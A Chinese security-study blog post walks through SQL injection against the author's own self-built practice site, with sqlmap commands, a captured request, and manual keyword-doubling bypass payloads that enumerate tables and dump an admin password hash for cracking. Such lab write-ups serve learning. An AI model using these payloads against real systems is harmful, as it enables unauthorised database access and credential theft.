本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记
通过一个实例来进行SQL注入的实战。
源码下载:
GitHub:https://github.com/13337356453/SQLTest/
CSDN:https://download.csdn.net/download/realmels/19136813
SQL注入也讲了这么多了,都是些理论的东西,这边我自己随便弄了个小靶场来练习SQL注入。
我这个小靶场是根据我之前通过SQL注入弄下来的靶场改的(当然不可能找个网站来黑,要遵纪守法),大体和原理是差不多的,没有好看的CSS,代码也很简陋。
同时这是我第一次接触PHP,本人不是搞前端的,能用就行。
在使用之前,先下载源码。
创建密码为SQLTest的sql用户。或在model.php中配置MySQL连接信息。并执行sqltest.sql文件。
可以在下载源代码后自己不看源码尝试一下,作不出再看源码。同时该博客有详细解析。
测试ip :192.168.1.7
访问网站的主页,到处看看有什么东西。
访问新闻页面,发现有参数id怀疑存在SQL注入,输入and 1=1和and 1=2进行测试。
都返回了正常的界面,不确定是否存在注入漏洞,放进SQLMap里扫一手。
sqlmap -u http://192.168.1.7/news.php?id=1 --random-agent -level 3 --tamper base64encode,equaltolike -batch
在它慢慢扫的时候,继续看其他的页面。
看见有一个用户信息获取的界面,可以输入用户id以获取用户信息。
随便输入1,按下查询,页面没有发生变化,弹出了id为1的用户信息。
此时SQLMap扫的差不多了,并没有发现注入漏洞。
界面没有刷新,盲猜是Ajax的数据提交。
用bp抓包看一下。
id参数可控,输入and 1=1和and 1=2进行测试
右键请求,复制到文件,将其保存到文件
POST /getUser.php HTTP/1.1
Host: 192.168.1.7
Content-Length: 12
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.7
Referer: http://192.168.1.7/user.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
id=1
文件中储存了请求的内容,先cd到同一路径,然后用SQLMAP扫一手
sqlmap -r .\1 --random-agent -level 3 -tamper base64encode,equaltolike -batch
继续观察网页,在url后面加上一个admin,直接出了后台地址。
输入万能密码试一下。
’ or ‘1’=‘1’–+
并没有什么用。
此时SQLMAP差不多扫好了,看看。
也没有扫出来,这就有点尴尬了,不过问题不大,有时工具会误判,手工试一下。
常见的绕过脚本有大小写绕过,双写绕过,两次URL全编码绕过等。这里一个一个试。
大小写
payload : id=1 AnD 1=1
无响应。
双写绕过
payload : id=1 anandd 1=1
返回了正常的请求,有戏。
输入
payload : id=1 anandd 1=2
获取回显位置
payload : id=-1 ununionion selselectect 1,2,3
三个位置都可以回显。
爆数据库版本,数据库名,用户
payload : id=-1 ununionion selselectect version(),database(),user()
爆表名
payload : id=-1 ununionion selselectect 1,2,group_concat(table_name)+frfromom+infoorrmation_schema.tables+wwherehere+table_schema=database()
得到表名为admin,news,products,users
爆列名
payload:id=-1+ununionion+selselectect+1,2,group_concat(column_name)+frfromom+infoorrmation_schema.columns+wwherehere+table_schema=database()+anandd+table_name='admin'
爆内容
payload : id=-1+ununionion+selselectect+1,2,group_concat(uname,',',pwd)+frfromom+admin+limit+0,1
得到的pwd是一个md5值,在在线解密网站上进行解密。
https://www.cmd5.com/
登录后台。
此外,还有其他的方法,可自行尝试
本人小白,希望各位大佬能给我提出意见。